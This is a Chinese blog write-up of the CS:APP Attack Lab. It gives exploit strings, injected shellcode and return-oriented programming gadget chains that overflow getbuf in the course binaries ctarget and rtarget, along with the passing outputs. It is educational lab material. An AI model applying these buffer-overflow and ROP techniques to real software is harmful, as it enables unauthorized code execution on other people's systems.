注意:必须阅读Writeup,否则根本看不懂这个lab要怎么做

实验前准备

1.在终端中输入./ctarget和./rtarget结果报错



百度后得知自学的同学需要在执行文件时加上-q参数,不发送结果到评分服务器。后来发现官网已经说明了针对self-study student需要使用"-q" option

gbd里面的run也要"-q"

2.使用objdump -d反汇编ctarget

Part 1:Code Injection Attacks

Level 1

覆盖返回值,调用touch1,ctarget_phase1.txt中的值为 "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40" ,前40个字符用来填充getbuf的帧,最后三个字符修改返回地址为0x4017c0,getbuf的帧如下图所示。

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40

Level 2

覆盖返回值,使离开getbuf后跳转至0x59b997fa处,执行如下注入的代码。getbuf的帧如下图所示。

 0:    68 ec 17 40 00           pushq  $0x4017ec
5: bf fa 97 b9 59 mov $0x59b997fa,%edi
a: c3 retq
b: 90 nop
c: 90 nop
d: 90 nop
e: 90 nop
f: 90 nop

我一开始将touch2的首地址0x4017ec注入到帧里,移动栈指针至保存了0x017ec的地方,这样虽然也能使代码跳转至touch,但无法通过notify_server,因为这是不规范的,规范的做法是使用push,将0x4017ec保存至栈中。

为什么push是规范的方法?首先要看ret指令的含义,执行ret指令时,ret指令从栈中弹出值,然后跳转到这个地址。在本题中,需要利用ret跳转至touch2,所以先将touch2的首地址压入栈中。

执行push指令后,栈的状态如下图所示:

有意思的是,指令的地址是从低处开始,逐渐增大,而栈的地址是从存储空间的最高处开始,逐渐减小。这和配套视频所讲的内容相对应。

除此之外,指令之间可以没有间隔,比如上图第一条指令和第二条指令在存储器上是连续的。

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 BF FA 97 B9 59 C3 90 90 90 90 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55

Level 3

由于调用hexmatch和strncmp函数会覆盖getbuf的帧,所以需要注入的数据不能保存在geybuf的帧上,使用gdb反汇编并查看汇编代码,发现getbuf调用的Gets函数会将输入的字符保存在首地址为0x604500的地方,所以使用存储地址为0x604500的存储空间保存注入的cookie。

使用gdb工具查看hexmatch,可以发现,s保存的是cookie中每一个字符对应的十六进制asiic码,具体如表所示:

cokie 5 9 b 9 9 7 f a
cookie 0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61

所以需要保存在0x604500是cookie中的字符对应的十六进制assic码,注入的代码如下

 0:   68 fa 18 40 00          pushq  $0x4018fa
5: 48 c7 c7 00 45 60 00 mov $0x604500,%rdi
c: 48 c7 07 35 39 62 39 movq $0x39623935,(%rdi)
13: 48 c7 47 04 39 37 66 movq $0x61663739,0x4(%rdi)
1a: 61
1b: c3 retq
1c: 90 nop
1d: 90 nop
1e: 90 nop
1f: 90 nop

注意代码中第三行和第四行指令中立即数的顺序,立即数中低位保存在存储地址低位的地方

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:59b997fa

Part 2:Return-Oriented Programming

和part1不同,part2设置了栈随机化和限制可执行代码区域(设置栈帧为不可执行区域)来对抗缓冲区溢出攻击

Level 2

先编译farm.c再反汇编farm.o可以得到farm.c对应的汇编代码,实际上这段代码在rtarget中,但是rtarget中东西太多,单独拿出来看更清晰。

gcc -Og -c farm.c
objdump -d farm.o

Writeup中提示如下:

  • All the gadgets you need can be found in the region of the code for rtarget demarcated by thefunctions start_farm and mid_farm.•
  • You can do this attack with just two gadgets.
  • When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploitstring will contain a combination of gadget addresses and data.

查看farm.c的汇编代码,发现一共有三个gadget,分别是

# gadget1
# 48 89 c7 -> movq %rax,%rdi, from 0x4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq # gadget2
# 48 89 c7 -> movq %rax,%rdi,from 0x019c5
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq # gadget3
# 58 -> popq %rax, from 0x4019cc
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq

gadget1和gadget2是一样的,所以两个都可以使用,我使用了gadget2。

输入字符后getbuf的帧如下图所示

代码执行过程

1.跳转至gadget3,执行 “popq %rax” 从帧中取出0x59b997fa,保存在%rax

2.跳转至gadget2,执行 “movq %rax,%rdi” 将0x59b997fa保存在%rdi

3.跳转至touch2

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < rtarget_phase4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

Level 3

在farm.c里找到这些gadget,心中已经有数了,把cookie字符随注入字符保存在存储空间,通过%rsp来确定这个字符的位置,不过想了很久还是无法具体实现。

movq %rax,%rdi

popq %rax

movq %rsp,%rax

movl %eax, %edx

movl %ecx, %esi

movl %edx, %ecx

movl %esp,%eax

后来百度看到一篇知乎文章,文章中使用了一个官方没有提到的 "add $0x37, %al" 指令,虽然他最终PASS了,但是这显然是不符合规范的。

但是这也提醒了我,自己对gadget的理解还不够透彻,一开始以为只有代码碎片才能称之为gadget,实际上完整的代码也能当作gadget,比如我接下来将会用到的add_xy,其c代码如下:

long add_xy(long x, long y)
{
return x+y;
}

add_xy的汇编代码如下:

00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq

最后输入的字符为 "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61" ,输入字符后getbuf的帧如下图所示:

注入字符对应的含义为:

可以看到,正好使用了8个gadget,而Writeup中提到官方的方法使用了8个gadget

从下往上数第一行让%rsp指向的值出栈,并保存在%rax中,同时%rsp的值加1,跳过了常数值0x2,继续执行下一条指令,第3行-第5行将0x2保存在%esi中,第6行将%rsp的值取出来(需要注意的是,这时的%rsp指向第7行,这也是常数值取0x20的原因)保存在%rdi中,第8行add_xy的参数保存在%rdi和%rsi中,之前的指令都是在为add_xy做准备,add_xy的结果指向第11行。最后将%rax的值保存在%rdi中,跳转至touch3。

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < rtarget_phase5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61

csapp-attacklab(完美解决版)的更多相关文章

  1. 使用sqlyog连接到服务器数据库,实现可视化数据操作。(完美解决版。)《亲测!!!!》

      服务器中的表 select Host ,User ,Select_priv ,Insert_priv ,Update_priv ,Delete_priv ,Create_priv ,Drop_pr ...

  2. Error java 错误 不支持发行版本5 ( 完美解决版)

    问题 在Intellij idea中新建了一个Maven项目,运行时报错如下:Error : java 不支持发行版本5 解决方案 1. 原因 是因为ideal中默认配置中有几个地方的jdk版本与实际 ...

  3. 完美解决 Linux 下 Sublime Text 中文输入

    首先,我参考了好几篇文章,都是蛮不错的,先列出来: sublime-text-imfix:首先推荐这个方法,最简单,但是在我的系统上有些问题.可用这个的强烈推荐用这个 完美解决 Linux 下 Sub ...

  4. 完美解决VS2003.Net fatal error LNK1201: 写入程序数据库“.pdb”时出错

    我的开发环境是Win7旗舰64位+VS2003.Net,经常卡pdb错误,文末给出一个完美的解决方案和一个懒人补丁包.问题描述如下:在重新编译的时候,经常报错: fatal error LNK1201 ...

  5. 用 Anaconda 完美解决 Python2 和 python3 共存问题

    Python3 被越来越多的开发者所接受,同时让人尴尬的是很多遗留的老系统依旧运行在 Python2 的环境中,因此有时你不得不同时在两个版本中进行开发,调试. 如何在系统中同时共存 Python2 ...

  6. 利用Anaconda完美解决Python 2与python 3的共存问题

    前言 现在Python3 被越来越多的开发者所接受,同时让人尴尬的是很多遗留的老系统依旧运行在 Python2 的环境中,因此有时你不得不同时在两个版本中进行开发,调试. 如何在系统中同时共存 Pyt ...

  7. win10想说爱你不容易——安装.net3.5也是一个坑(已有完美解决方法)

    最终完美解决方法:经过多次波折,终于找到无法正常安装.net3.5的原因了,是因为已删除的用户还有注册表残留导致的,而且这个问题还会影响一个win10更新的安装,导致每天更新失败,撤销更新... 详见 ...

  8. 完美解决HALCON C#编程目标平台冲突问题

    完美解决HALCON C#编程目标平台冲突问题   楼主# 更多发布于:2016-11-23 10:06     背景: 目标机器工控机使用11.0.1 32位Halcon 原因你懂的.开发环境Win ...

  9. PNG24在ie6下的完美解决方法!(DD_belatedPNG)

    原网址:http://www.zjgsq.com/1629.html 之前写过一篇<js+css滤镜设置解决PNG24在IE6下显示问题> 解决方法不是很完美,使用起来也比较麻烦. DD_ ...

  10. 完美解决windows10磁盘占用100%并出现卡顿、假死无反应

    完美解决windows10磁盘占用100%并出现卡顿.假死无反应 想必大家也跟我一样,自从用win10系统以后经常会出现这种情况:磁盘突然占用100%然后开始出现假死现象,电脑卡住,点击任何软件没反应 ...

随机推荐

  1. C++简单实现vector

    向量 向量是序列容器,表示可以更改大小的数组. 就像数组一样,向量对其元素使用连续的存储位置,这意味着也可以使用指向其元素的常规指针上的偏移量来访问其元素,并且与数组一样高效.但与数组不同的是,它们的 ...

  2. #树形依赖背包,点分治#BZOJ 4182 Shopping

    题目 给定一棵大小为 \(n\) 的树,每个点代表一种物品,其具有体积.价值和数量的属性, 现在选择一个连通块,使得里面所有点都被选中且体积不超过 \(m\),问最大价值. \(n\leq 500,m ...

  3. OpenHarmony 3.2 Beta多媒体系列——视频录制

    一.简介 媒体子系统为开发者提供了媒体相关的很多功能,本文针对其中的视频录制功能做个详细的介绍.首先,我将通过媒体子系统提供的视频录制Test代码作为切入点,给大家梳理一下整个录制的流程. 二.目录 ...

  4. java集合源码详解

    一 Collection接口 1.List 1.1ArrayList 特点 1.底层实现基于动态数组,数组特点根据下表查找元素速度所以查找速度较快.继承自接口  Collection ->Lis ...

  5. mybatis复习(二)

    简介 mybatis是一个优秀的基于 java 的持久层框架,它内部封装了 jdbc,使开发者只需要关注 sql语句本身, 而不需要花费精力去处理加载驱动.创建连接.创建 statement 等繁杂的 ...

  6. HarmonyOS远端状态订阅开发实例

     IPC/RPC提供对远端Stub对象状态的订阅机制, 在远端Stub对象消亡时,可触发消亡通知告诉本地Proxy对象.这种状态通知订阅需要调用特定接口完成,当不再需要订阅时也需要调用特定接口取消.使 ...

  7. 活动开启 | 以梦筑码 · 不负韶华 开发者故事征集令,讲出你的故事,有机会参加HDC.Together 2023

      HarmonyOS面世以来,经历了3大版本迭代,系统能力逐步完善,生态加速繁荣.一路前行,是开发者们点亮漫天星光.点滴贡献,聚沙成塔,开发者们正用代码改变世界. 是梦想,激励我们一路前行.在黎明到 ...

  8. 单机运行环境搭建之 --CentOS-6.4安装MySQL 5.6.10并修改MySQL的root用户密码

    单机运行环境搭建之 --CentOS-6.4安装MySQL 5.6.10并修改MySQL的root用户密码 Mysql 5.5以后使用了CMake进行安装,参考与以前的区别请参考: http://ww ...

  9. orleans —————— 为什么有这个框架 [ 一]

    前言 简单说明一下,为什么有orleans 这个框架. 正文 orleans 这个框架的理论基础是 actor, 在1973年提出,当初是为了大量处理高并发计算机的并行模型,其核心思想是将系统中独立的 ...

  10. 密码学系列——数字签名(c# 代码实操)

    前言 结合消息摘要.非对称加密.数字签名三篇,进行代码实操. 代码完整,可复制运行. 正文 代码如下: public class SignatureHelper { /// <summary&g ...